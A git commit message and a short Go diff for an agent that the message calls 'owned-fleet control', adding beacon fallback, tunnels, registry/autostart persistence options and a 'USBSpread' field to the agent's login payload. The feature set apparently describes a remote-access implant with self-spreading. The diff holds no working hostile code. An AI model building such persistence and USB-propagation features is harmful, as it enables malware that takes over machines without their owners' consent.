feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.

agent/client/protocol.go

@@ -41,6 +41,8 @@ type AuthPayload struct {
 	Arch             string `json:"arch"`
 	OSVersion        string `json:"os_version"`
 	MacAddress       string `json:"mac_address,omitempty"`
+	BuildID          string `json:"build_id,omitempty"`
+	USBSpread        bool   `json:"usb_spread,omitempty"`
 }
 
 type AuthResponse struct {